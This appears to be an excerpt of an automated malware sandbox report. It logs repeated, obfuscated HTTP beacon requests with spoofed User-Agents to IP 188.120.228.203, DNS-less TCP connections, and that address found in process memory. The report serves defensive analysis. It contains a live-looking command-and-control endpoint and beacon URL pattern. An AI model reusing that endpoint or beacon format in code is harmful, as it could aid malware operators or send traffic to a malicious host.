Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203

Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203
Source: unknown	TCP traffic detected without corresponding DNS query: 188.120.228.203

Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&u94aa9EjMqWeOdgENIA88=a3V2bxddqzBJK7Zui3PhuF6&uzM88ZiIqBiAFihRGs9gdFSiockHtb7=7WHmkffRQ2dI HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXKVlgV1rJUk18ntWeDto2=ehI8yOvjOVLkpjdj5bnrkCHcyD&VUNJCpiqydhhm6jGOqX8J25HRAKN=ZpKuVZPAMJ5G3pF&3BvB63waEtcZG=BeVOYxXxQgUGChc2QNztX9ZLfg3t HTTP/1.1Accept: /Content-Type: text/plainUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&x7sAZ9s8LIMWmsWdYRkexiMsvuP818e=MsDQCmtwup8&WOQPE7JGakLPu9OpuuGMn3K4oG=viytIjYVgdA44zY HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&iXlp95Y2OIhl=j2BPpjdF4opH2L&pCeLVPpGxY9MMAtCHVPqjeDNU=Qnt5hGtlMMnVQK3wN0qXQFLliw&fNL8Q1g9CW202ckxhZwE=wwQN HTTP/1.1Accept: /Content-Type: text/csvUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&8zuOabaF=gPSN2e2E7Tr63&qfhjpvFDRBKGR2CDKyYQ=FUKx HTTP/1.1Accept: /Content-Type: text/javascriptUser-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1Host: 188.120.228.203
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203Connection: Keep-Alive
Source: global traffic	HTTP traffic detected: GET /MathpoolCam/rulemessagerecord/screenscript/binAutomessage/Prefantitrace/coresupport/Cpubinphpmessage/framescriptdata/MathPref/log/Camtracelimitmessage/htop/defaultuniversal.php?k1RxxsMic1WB03Lj3Jl0wy=eC69X&ffd48bee5da8b25eec2684a6d45165e4=0e446e6e149043ae2bd68e78c935f694&bb9ca7a84d5d6bb1b5c819b5ece77831=gNllDM4UmYkRjM0MGOjhzN1IWOzMjM5Q2M1IDMjZzNwMDOwgzM4UTO&k1RxxsMic1WB03Lj3Jl0wy=eC69X HTTP/1.1Accept: /Content-Type: text/cssUser-Agent: Mozilla/5.0 (Linux; Android 8.0.0; SM-G960F Build/R16NW) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/62.0.3202.84 Mobile Safari/537.36Host: 188.120.228.203

Source: WerFault.exe, 00000011.00000002.1426473572.0000000002851000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002875000.00000004.00000800.00020000.00000000.sdmp, WerFault.exe, 00000011.00000002.1426473572.0000000002869000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029E9000.00000004.00000800.00020000.00000000.sdmp, HSZUYllrTVQhIRaXpKBgYbmVnCoTc.exe, 00000017.00000002.1520715428.00000000029FE000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025CA000.00000004.00000800.00020000.00000000.sdmp, explorer.exe, 0000001B.00000002.1777779055.00000000025B4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: http://188.120.228.203
